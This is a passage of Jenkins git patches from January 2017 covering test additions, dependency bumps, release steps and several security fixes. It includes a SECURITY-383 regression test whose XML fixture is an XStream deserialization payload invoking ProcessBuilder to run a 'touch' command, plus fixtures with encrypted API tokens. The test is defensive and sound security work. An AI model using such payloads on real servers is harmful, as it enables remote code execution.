createNewBatchTask("",0).getUnstableReturn() ); } + + @Issue("JENKINS-40894") + @Test + @LocalData + public void canLoadUnstableReturnFromDisk() throws Exception { + FreeStyleProject p = (FreeStyleProject) rule.jenkins.getItemByFullName("batch"); + BatchFile batchFile = (BatchFile) p.getBuildersList().get(0); + assertEquals("unstable return", Integer.valueOf(1), batchFile.getUnstableReturn()); + } } diff --git a/test/src/test/java/hudson/tasks/ShellTest.java b/test/src/test/java/hudson/tasks/ShellTest.java index f83675e824..eef0565b89 100644 --- a/test/src/test/java/hudson/tasks/ShellTest.java +++ b/test/src/test/java/hudson/tasks/ShellTest.java @@ -27,6 +27,7 @@ import org.junit.Assume; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.LocalData; /** * Tests for the Shell tasks class @@ -190,4 +191,13 @@ public class ShellTest { assertNull( createNewShell("",0).getUnstableReturn() ); } + @Issue("JENKINS-40894") + @Test + @LocalData + public void canLoadUnstableReturnFromDisk() throws Exception { + FreeStyleProject p = (FreeStyleProject) rule.jenkins.getItemByFullName("test"); + Shell shell = (Shell) p.getBuildersList().get(0); + assertEquals("unstable return", Integer.valueOf(1), shell.getUnstableReturn()); + } + } diff --git a/test/src/test/resources/hudson/tasks/BatchFileTest/canLoadUnstableReturnFromDisk.zip b/test/src/test/resources/hudson/tasks/BatchFileTest/canLoadUnstableReturnFromDisk.zip new file mode 100644 index 0000000000000000000000000000000000000000..7733c0a66c1a409498e334b844db0de596e700db GIT binary patch literal 1056 zcmWIWW@h1H0Dx6`75Y!FstkYPwp%=5`lObN{^E=f$vNexOZDJ{x#E6UGx z$t=#+tI8}04dG;9<|`DOdK#c}ca6l!aLFP>ax*BdS zkiiOcbyj{-u|C*kjQCsz($e4O3`d6R=77idUFVt}zS(C1A| z3=E>Eh9u|brDdk;RpjP?-Lw~I+*Ke(3$5ND>-<9o0{4E33VJV7OMRWt<02SseL*QL zIli+yIofXb)92sc2(&na?*3VQr<{MLuHW93`xF+GmBpQ(b$l0-_S{R~4AyUd|GIs7 z)j{<$?B6+!K6!>3vT8Jco2X@xy*@CkpP`ObZp|VY-V^pMjtOsN=bsgMt?1H}dr;%I zmsF$0{4&pln|Te-W*a?w`!m(5V#x++^(r~%MK=Ve9yICN%V@f7&jX!zy_1ipUUGYD zwL$xPt|6O1?ZS-P8(;X}uf1{Yzxu0lQ=5}6v@^&4-!p5oQ7eO)*yS0;-qSfhb#oaj zRO|~AsW_6Rx#-QcTL%=TJ=iB6R%r1u;%w2Q26x+wlYWLscW6fV^+~6_xb*K{+qS*4 zI(}|3m)djKwv6lSkh<(q`+>2 f7>Jw*fkuN8A%@YcY(Sk1EI=3s)Vv0mk{K8PZAv9I literal 0 HcmV?d00001 diff --git a/test/src/test/resources/hudson/tasks/ShellTest/canLoadUnstableReturnFromDisk.zip b/test/src/test/resources/hudson/tasks/ShellTest/canLoadUnstableReturnFromDisk.zip new file mode 100644 index 0000000000000000000000000000000000000000..d1d23b58680879ab8a21cd8ff9166e8473fd7143 GIT binary patch literal 1059 zcmWIWW@h1H0D%BDZLe!PPwa^XvO!ppL53kYG0!JIF(ovwxFj(tCp9Rwq_il{ttda& zC9^nNuPU=3G=!6Z*`v5L!XmpgqO^jWfsy4aBLf4A2*^ON(Hu~tffO82$!L&ye;KvC z;N}7utUy<1TSX~CvCd`1UoeQSDB(=B%V#c&|oMwQ0$pJRwbhh1U zEuhDDGBGfSpqP=IpO==Iu2+$p19lO}G&4*W^#=I{A65|9`#n6R>g35I_iO^J7R%;W zWxW03lbCD3A|bZLK3>SlzI00Pz1zpDcT1mmbYbNqVHvN*&!4W@rO$og4#&#xpNl?! ztN9+F_o5{t-L9e9O7oFo&u@+6RV_>ttTU_oCjF9GTE(3(J;AX%LznTTbuh=0eGezw zq(v6k30X2!h8G+acz#)p!(>;N&sV7_QTBU%Hg_5CHCnUyUTem@i#HazYztN>`Xade zlb_^0JGPZawlVHCiI>{Te2q6G#&zGf)qY_L|$3>~P&sS3_ore%jvRL(^9Yu)i1I!6ZLtSz!6m zIYO`RD?Mh@`=xC5X3CLgIky})l%BceGReyRNPd7fBa<96t|Th~ic~OI(g>o6NWiR+ z1dNeH5Y}L(F_<+13~wE`0j+_iIG|CW6o Date: Wed, 18 Jan 2017 16:40:50 -0500 Subject: [PATCH 545/712] stapler 1.249 --- changelog.html | 4 ++++ core/pom.xml | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 362d75deb6..dad8a4443f 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes

                                      • IllegalStateException from Winstone when making certain requests with access logging enabled. (issue 37625) +
                                      • + Failure to serialize a single Action could cause an entire REST export response to fail. + Upgraded to Stapler 1.249 with a fix. + (issue 40088)

                                      What's new in 2.41 (2017/01/15)

                                      diff --git a/core/pom.xml b/core/pom.xml index 9ef49b064f..51ad10a4bf 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -39,7 +39,7 @@ THE SOFTWARE. true - 1.248 + 1.249 2.5.6.SEC03 2.4.7 -- GitLab From 8a8c4c20eb41204cd0535cc365a59ec6bad824ae Mon Sep 17 00:00:00 2001 From: Andrew Bayer Date: Thu, 19 Jan 2017 16:35:05 -0800 Subject: [PATCH 546/712] [FIXED JENKINS-37590] Return a null property if no parameters At least part of the impetus for this issue was dealt with a while back by a revert of PR #2444, but this gives us a better solution anyway by guaranteeing we have a null property rather than one without parameters. --- .../java/hudson/model/ParametersDefinitionProperty.java | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/core/src/main/java/hudson/model/ParametersDefinitionProperty.java b/core/src/main/java/hudson/model/ParametersDefinitionProperty.java index 7dc5f76b17..956812158d 100644 --- a/core/src/main/java/hudson/model/ParametersDefinitionProperty.java +++ b/core/src/main/java/hudson/model/ParametersDefinitionProperty.java @@ -221,6 +221,15 @@ public class ParametersDefinitionProperty extends OptionalJobProperty> @Extension @Symbol("parameters") public static class DescriptorImpl extends OptionalJobPropertyDescriptor { + @Override + public ParametersDefinitionProperty newInstance(StaplerRequest req, JSONObject formData) throws FormException { + ParametersDefinitionProperty prop = (ParametersDefinitionProperty)super.newInstance(req, formData); + if (prop != null && prop.parameterDefinitions.isEmpty()) { + return null; + } + return prop; + } + @Override public boolean isApplicable(Class jobType) { return ParameterizedJobMixIn.ParameterizedJob.class.isAssignableFrom(jobType); -- GitLab From 85c8dc5a4b73a02cf994921fd8f84f8e2ae15434 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Fri, 20 Jan 2017 12:23:40 +0100 Subject: [PATCH 547/712] [FIXED JENKINS-36872] Switch to com.mysema.maven:apt-maven-plugin for Java 8 support --- core/pom.xml | 4 ++-- pom.xml | 12 ++++++------ 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/core/pom.xml b/core/pom.xml index 9ef49b064f..9455e117c2 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -853,9 +853,9 @@ THE SOFTWARE. - org.codehaus.mojo + com.mysema.maven apt-maven-plugin - + diff --git a/pom.xml b/pom.xml index 4b96c2133a..a7283c08c0 100644 --- a/pom.xml +++ b/pom.xml @@ -160,7 +160,7 @@ THE SOFTWARE. mockito-core 1.10.19 - + org.powermock powermock-module-junit4 @@ -495,9 +495,9 @@ THE SOFTWARE. 2.1 - org.codehaus.mojo + com.mysema.maven apt-maven-plugin - 1.0-alpha-5 + 1.1.3 org.codehaus.mojo @@ -665,7 +665,7 @@ THE SOFTWARE. 1.${java.level} 1.${java.level} - @@ -760,8 +760,8 @@ THE SOFTWARE. - - + + -- GitLab From 02749c3d6993a2db7dc83fe79558630a37eb77a6 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 20 Jan 2017 18:06:11 -0500 Subject: [PATCH 548/712] Now 1.250 to pick up https://github.com/stapler/stapler/issues/103. --- core/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/pom.xml b/core/pom.xml index 51ad10a4bf..3ece00cbe5 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -39,7 +39,7 @@ THE SOFTWARE. true - 1.249 + 1.250 2.5.6.SEC03 2.4.7 -- GitLab From 7b680d81b6e3e7a08da278c27311ce00fad459da Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 22 Jan 2017 14:34:26 -0800 Subject: [PATCH 549/712] [maven-release-plugin] prepare release jenkins-2.42 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 1476cd850b..0ccbffd929 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.42-SNAPSHOT + 2.42 cli diff --git a/core/pom.xml b/core/pom.xml index 9ef49b064f..5b835224c7 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42-SNAPSHOT + 2.42 jenkins-core diff --git a/pom.xml b/pom.xml index 4b96c2133a..0dcd3a0d10 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42-SNAPSHOT + 2.42 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.42 diff --git a/test/pom.xml b/test/pom.xml index 954f8b33c6..45d811dd03 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42-SNAPSHOT + 2.42 test diff --git a/war/pom.xml b/war/pom.xml index b2a6bc1efb..5bd0f80646 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42-SNAPSHOT + 2.42 jenkins-war -- GitLab From 16337d8c69babfff04e89a61632aee5f00b0edce Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 22 Jan 2017 14:34:26 -0800 Subject: [PATCH 550/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 0ccbffd929..29594a05f8 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.42 + 2.43-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 5b835224c7..8a256f7baa 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42 + 2.43-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 0dcd3a0d10..ce72a1bd8f 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42 + 2.43-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.42 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 45d811dd03..f12b9e4fde 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42 + 2.43-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 5bd0f80646..ccd097dfd1 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42 + 2.43-SNAPSHOT jenkins-war -- GitLab From 6f8c7e9fbe91510392d24809185f6b3df349a900 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 22 Jan 2017 14:41:30 -0800 Subject: [PATCH 551/712] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 362d75deb6..380bd7411b 100644 --- a/changelog.html +++ b/changelog.html @@ -55,12 +55,16 @@ Upcoming changes +

                                      What's new in 2.42 (2017/01/22)

                                      • IllegalStateException from Winstone when making certain requests with access logging enabled. (issue 37625)
                                      -

                                      What's new in 2.41 (2017/01/15)

                                      • -- GitLab From 3cd946cbef82c6da5ccccf3890d0ae4e091c4265 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 12 Jan 2017 16:34:49 -0500 Subject: [PATCH 552/712] Merge pull request #80 from jenkinsci-cert/SECURITY-362 [SECURITY-362] Do not persist User in OfflineCause.UserCause --- .../main/java/hudson/slaves/OfflineCause.java | 48 +++++++++++++--- .../test/java/hudson/model/ComputerTest.java | 29 ++++++++++ .../config.xml | 34 +++++++++++ .../nodes/deserialized/config.xml | 56 +++++++++++++++++++ .../users/username/config.xml | 38 +++++++++++++ 5 files changed, 196 insertions(+), 9 deletions(-) create mode 100644 test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/config.xml create mode 100644 test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/nodes/deserialized/config.xml create mode 100644 test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/users/username/config.xml diff --git a/core/src/main/java/hudson/slaves/OfflineCause.java b/core/src/main/java/hudson/slaves/OfflineCause.java index 41319f01e9..3b94e99cd9 100644 --- a/core/src/main/java/hudson/slaves/OfflineCause.java +++ b/core/src/main/java/hudson/slaves/OfflineCause.java @@ -24,7 +24,6 @@ package hudson.slaves; -import jenkins.model.Jenkins; import hudson.Functions; import hudson.model.Computer; import hudson.model.User; @@ -33,7 +32,10 @@ import org.jvnet.localizer.Localizable; import org.kohsuke.stapler.export.ExportedBean; import org.kohsuke.stapler.export.Exported; +import javax.annotation.CheckForNull; import javax.annotation.Nonnull; +import java.io.ObjectStreamException; +import java.util.Collections; import java.util.Date; /** @@ -128,21 +130,49 @@ public abstract class OfflineCause { /** * Taken offline by user. + * * @since 1.551 */ public static class UserCause extends SimpleOfflineCause { - private final User user; - - public UserCause(User user, String message) { - super(hudson.slaves.Messages._SlaveComputer_DisconnectedBy( - user!=null ? user.getId() : Jenkins.ANONYMOUS.getName(), + @Deprecated + private transient User user; + // null when unknown + private /*final*/ @CheckForNull String userId; + + public UserCause(@CheckForNull User user, @CheckForNull String message) { + this( + user != null ? user.getId() : null, message != null ? " : " + message : "" - )); - this.user = user; + ); + } + + private UserCause(String userId, String message) { + super(hudson.slaves.Messages._SlaveComputer_DisconnectedBy(userId, message)); + this.userId = userId; } public User getUser() { - return user; + return userId == null + ? User.getUnknown() + : User.getById(userId, true) + ; + } + + // Storing the User in a filed was a mistake, switch to userId + @SuppressWarnings("deprecation") + private Object readResolve() throws ObjectStreamException { + if (user != null) { + String id = user.getId(); + if (id != null) { + userId = id; + } else { + // The user field is not properly deserialized so id may be missing. Look the user up by fullname + User user = User.get(this.user.getFullName(), true, Collections.emptyMap()); + userId = user.getId(); + } + this.user = null; + } + return this; } } diff --git a/test/src/test/java/hudson/model/ComputerTest.java b/test/src/test/java/hudson/model/ComputerTest.java index b58b00f45e..ffe67ddb15 100644 --- a/test/src/test/java/hudson/model/ComputerTest.java +++ b/test/src/test/java/hudson/model/ComputerTest.java @@ -23,16 +23,22 @@ */ package hudson.model; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.not; import static org.junit.Assert.*; + import java.io.File; +import com.gargoylesoftware.htmlunit.xml.XmlPage; +import hudson.slaves.OfflineCause; import jenkins.model.Jenkins; import hudson.slaves.DumbSlave; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.LocalData; public class ComputerTest { @@ -52,4 +58,27 @@ public class ComputerTest { assertTrue("Slave log should be kept", keep.toComputer().getLogFile().exists()); } + + @Test + public void doNotShowUserDetailsInOfflineCause() throws Exception { + DumbSlave slave = j.createOnlineSlave(); + final Computer computer = slave.toComputer(); + computer.setTemporarilyOffline(true, new OfflineCause.UserCause(User.get("username"), "msg")); + verifyOfflineCause(computer); + } + + @Test @LocalData + public void removeUserDetailsFromOfflineCause() throws Exception { + Computer computer = j.jenkins.getComputer("deserialized"); + verifyOfflineCause(computer); + } + + private void verifyOfflineCause(Computer computer) throws Exception { + XmlPage page = j.createWebClient().goToXml("computer/" + computer.getName() + "/config.xml"); + String content = page.getWebResponse().getContentAsString("UTF-8"); + assertThat(content, containsString("temporaryOfflineCause")); + assertThat(content, containsString("username")); + assertThat(content, not(containsString("ApiTokenProperty"))); + assertThat(content, not(containsString("apiToken"))); + } } diff --git a/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/config.xml b/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/config.xml new file mode 100644 index 0000000000..1a1cd9abbb --- /dev/null +++ b/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/config.xml @@ -0,0 +1,34 @@ + + + + 1.0 + 2 + NORMAL + true + + + false + + ${JENKINS_HOME}/workspace/${ITEM_FULLNAME} + ${ITEM_ROOTDIR}/builds + + + + + 0 + + + + All + false + false + + + + All + 0 + + + + true + diff --git a/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/nodes/deserialized/config.xml b/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/nodes/deserialized/config.xml new file mode 100644 index 0000000000..b093f82a5c --- /dev/null +++ b/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/nodes/deserialized/config.xml @@ -0,0 +1,56 @@ + + + + 1479196265920 + + + hudson.slaves.Messages + + SlaveComputer.DisconnectedBy + + username + : msg + + + + username + + + wPfVKd4HGJzRoEpazbTu35nXXfI34cguPjm+5JPO7pZDFLFgpFLviQsS3NdJndax + + + + + + + All + false + false + + + + + + + + + false + + + + + deserialized + dummy + ... + 1 + NORMAL + + + + + + + + + SYSTEM + diff --git a/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/users/username/config.xml b/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/users/username/config.xml new file mode 100644 index 0000000000..9b55a52743 --- /dev/null +++ b/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/users/username/config.xml @@ -0,0 +1,38 @@ + + + username + username + + + + qykj8q6EqvMg9LPu+lCqLiXBZvEVdCTWoYJwmicXgH+yh1ZUm85iHe29grd+g3QG + + + + + + + + + + + + + All + false + false + + + + + + + + + + + + false + + + -- GitLab From 92964da7b22b0cbb57734b9929f5be8293609c0d Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 12 Jan 2017 16:35:34 -0500 Subject: [PATCH 553/712] Merge pull request #102 from jenkinsci-cert/security-349 [SECURITY-349] Use updated stapler-adjunct-timeline for newer jquery --- core/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/pom.xml b/core/pom.xml index 94726b9737..a191e899c1 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -157,7 +157,7 @@ THE SOFTWARE. org.kohsuke.stapler stapler-adjunct-timeline - 1.4 + 1.5-20170112.000031-1 org.kohsuke.stapler -- GitLab From a814154695e23dc37542af7d40cacc129cf70722 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 12 Jan 2017 16:36:43 -0500 Subject: [PATCH 554/712] Merge pull request #101 from jenkinsci-cert/security-383-simpler [SECURITY-383] Additional XStream2-specific class blacklisting --- pom.xml | 2 +- .../hudson/util/XStream2Security383Test.java | 120 ++++++++++++++++++ .../util/XStream2Security383Test/config.xml | 54 ++++++++ 3 files changed, 175 insertions(+), 1 deletion(-) create mode 100644 test/src/test/java/hudson/util/XStream2Security383Test.java create mode 100644 test/src/test/resources/hudson/util/XStream2Security383Test/config.xml diff --git a/pom.xml b/pom.xml index f57a3b6345..f01684c3f1 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53.4 + 2.53.5-20170111.201445-1 diff --git a/test/src/test/java/hudson/util/XStream2Security383Test.java b/test/src/test/java/hudson/util/XStream2Security383Test.java new file mode 100644 index 0000000000..1e3897a5f2 --- /dev/null +++ b/test/src/test/java/hudson/util/XStream2Security383Test.java @@ -0,0 +1,120 @@ +package hudson.util; + +import hudson.model.Items; +import org.apache.commons.io.FileUtils; +import org.apache.commons.io.IOUtils; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.TemporaryFolder; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.kohsuke.stapler.StaplerRequest; +import org.kohsuke.stapler.StaplerResponse; +import org.mockito.Mock; +import org.mockito.MockitoAnnotations; + +import javax.servlet.ServletInputStream; +import java.io.File; +import java.io.IOException; +import java.io.InputStream; + +import static org.junit.Assert.assertFalse; +import static org.mockito.Mockito.when; + +public class XStream2Security383Test { + + @Rule + public JenkinsRule j = new JenkinsRule(); + + @Rule + public TemporaryFolder f = new TemporaryFolder(); + + @Mock + private StaplerRequest req; + + @Mock + private StaplerResponse rsp; + + @Before + public void setUp() throws Exception { + MockitoAnnotations.initMocks(this); + } + + @Test + @Issue("SECURITY-383") + public void testXmlLoad() throws Exception { + File exploitFile = f.newFile(); + try { + // be extra sure there's no file already + if (exploitFile.exists() && !exploitFile.delete()) { + throw new IllegalStateException("file exists and cannot be deleted"); + } + File tempJobDir = new File(j.jenkins.getRootDir(), "security383"); + + String exploitXml = IOUtils.toString( + XStream2Security383Test.class.getResourceAsStream( + "/hudson/util/XStream2Security383Test/config.xml"), "UTF-8"); + + exploitXml = exploitXml.replace("@TOKEN@", exploitFile.getAbsolutePath()); + + FileUtils.write(new File(tempJobDir, "config.xml"), exploitXml); + + try { + Items.load(j.jenkins, tempJobDir); + } catch (Exception e) { + // ignore + } + assertFalse("no file should be created here", exploitFile.exists()); + } finally { + exploitFile.delete(); + } + } + + @Test + @Issue("SECURITY-383") + public void testPostJobXml() throws Exception { + File exploitFile = f.newFile(); + try { + // be extra sure there's no file already + if (exploitFile.exists() && !exploitFile.delete()) { + throw new IllegalStateException("file exists and cannot be deleted"); + } + File tempJobDir = new File(j.jenkins.getRootDir(), "security383"); + + String exploitXml = IOUtils.toString( + XStream2Security383Test.class.getResourceAsStream( + "/hudson/util/XStream2Security383Test/config.xml"), "UTF-8"); + + exploitXml = exploitXml.replace("@TOKEN@", exploitFile.getAbsolutePath()); + + when(req.getMethod()).thenReturn("POST"); + when(req.getInputStream()).thenReturn(new Stream(IOUtils.toInputStream(exploitXml))); + when(req.getContentType()).thenReturn("application/xml"); + when(req.getParameter("name")).thenReturn("foo"); + + try { + j.jenkins.doCreateItem(req, rsp); + } catch (Exception e) { + // don't care + } + + assertFalse("no file should be created here", exploitFile.exists()); + } finally { + exploitFile.delete(); + } + } + + private static class Stream extends ServletInputStream { + private final InputStream inner; + + public Stream(final InputStream inner) { + this.inner = inner; + } + + @Override + public int read() throws IOException { + return inner.read(); + } + } +} diff --git a/test/src/test/resources/hudson/util/XStream2Security383Test/config.xml b/test/src/test/resources/hudson/util/XStream2Security383Test/config.xml new file mode 100644 index 0000000000..d7edab3764 --- /dev/null +++ b/test/src/test/resources/hudson/util/XStream2Security383Test/config.xml @@ -0,0 +1,54 @@ + + + + + + + + 0 + -1 + 0 + + + foo + + + + + + + + 0 + -1 + 0 + + + + + touch + @TOKEN@ + + false + + + + + + + java.lang.ProcessBuilder + start + + + foo + + + 101575 + foo + foo + + + + + + + \ No newline at end of file -- GitLab From b0ed9669bc00dbccf1be6896bb527b4cf2e7687d Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 12 Jan 2017 17:18:53 -0500 Subject: [PATCH 555/712] Merge pull request #104 from jenkinsci-cert/SECURITY-392 [SECURITY-392] JDKInstaller.DescriptorImpl.doPostCredential was unprotected --- core/src/main/java/hudson/tools/JDKInstaller.java | 3 +++ 1 file changed, 3 insertions(+) diff --git a/core/src/main/java/hudson/tools/JDKInstaller.java b/core/src/main/java/hudson/tools/JDKInstaller.java index 8248d416a4..8b99de1a53 100644 --- a/core/src/main/java/hudson/tools/JDKInstaller.java +++ b/core/src/main/java/hudson/tools/JDKInstaller.java @@ -77,6 +77,7 @@ import java.util.regex.Matcher; import java.util.regex.Pattern; import static hudson.tools.JDKInstaller.Preference.*; +import org.kohsuke.stapler.interceptor.RequirePOST; /** * Install JDKs from java.sun.com. @@ -781,7 +782,9 @@ public class JDKInstaller extends ToolInstaller { /** * Submits the Oracle account username/password. */ + @RequirePOST public HttpResponse doPostCredential(@QueryParameter String username, @QueryParameter String password) throws IOException, ServletException { + Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); this.username = username; this.password = Secret.fromString(password); save(); -- GitLab From e6aa166246d1734f4798a9e31f78842f4c85c28b Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 18 Jan 2017 13:21:54 -0500 Subject: [PATCH 556/712] Merge pull request #105 from jenkinsci-cert/SECURITY-304-t3 [SECURITY-304] Encrypt new secrets with CBC and random IV instead of ECB --- core/src/main/java/hudson/model/Item.java | 2 +- .../java/hudson/util/HistoricalSecrets.java | 84 ++++++++++ core/src/main/java/hudson/util/Secret.java | 147 +++++++++++------- .../main/java/hudson/util/SecretRewriter.java | 4 +- .../security/CryptoConfidentialKey.java | 88 ++++++++++- .../hudson/util/SecretRewriterTest.groovy | 33 ++-- .../test/groovy/hudson/util/SecretTest.groovy | 27 +++- .../java/hudson/util/SecretCompatTest.java | 121 ++++++++++++++ .../security/RekeySecretAdminMonitorTest.java | 10 +- test/src/test/java/lib/form/PasswordTest.java | 27 +++- .../canReadPreSec304Secrets/config.xml | 34 ++++ .../jobs/OldSecret/config.xml | 27 ++++ .../secrets/hudson.util.Secret | Bin 0 -> 272 bytes .../secrets/master.key | 1 + 14 files changed, 517 insertions(+), 88 deletions(-) create mode 100644 core/src/main/java/hudson/util/HistoricalSecrets.java create mode 100644 test/src/test/java/hudson/util/SecretCompatTest.java create mode 100644 test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/config.xml create mode 100644 test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/jobs/OldSecret/config.xml create mode 100644 test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/secrets/hudson.util.Secret create mode 100644 test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/secrets/master.key diff --git a/core/src/main/java/hudson/model/Item.java b/core/src/main/java/hudson/model/Item.java index 834cf97b48..7c2aeba5e2 100644 --- a/core/src/main/java/hudson/model/Item.java +++ b/core/src/main/java/hudson/model/Item.java @@ -229,7 +229,7 @@ public interface Item extends PersistenceRoot, SearchableModelObject, AccessCont Permission DISCOVER = new Permission(PERMISSIONS, "Discover", Messages._AbstractProject_DiscoverPermission_Description(), READ, PermissionScope.ITEM); /** * Ability to view configuration details. - * If the user lacks {@link CONFIGURE} then any {@link Secret}s must be masked out, even in encrypted form. + * If the user lacks {@link #CONFIGURE} then any {@link Secret}s must be masked out, even in encrypted form. * @see Secret#ENCRYPTED_VALUE_PATTERN */ Permission EXTENDED_READ = new Permission(PERMISSIONS,"ExtendedRead", Messages._AbstractProject_ExtendedReadPermission_Description(), CONFIGURE, Boolean.getBoolean("hudson.security.ExtendedReadPermission"), new PermissionScope[]{PermissionScope.ITEM}); diff --git a/core/src/main/java/hudson/util/HistoricalSecrets.java b/core/src/main/java/hudson/util/HistoricalSecrets.java new file mode 100644 index 0000000000..37a6fa39e1 --- /dev/null +++ b/core/src/main/java/hudson/util/HistoricalSecrets.java @@ -0,0 +1,84 @@ +/* + * The MIT License + * + * Copyright (c) 2004-2010, Sun Microsystems, Inc., Kohsuke Kawaguchi + * Copyright (c) 2016, CloudBees Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package hudson.util; + +import com.trilead.ssh2.crypto.Base64; +import hudson.Util; +import jenkins.model.Jenkins; +import jenkins.security.CryptoConfidentialKey; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; + +import javax.crypto.Cipher; +import 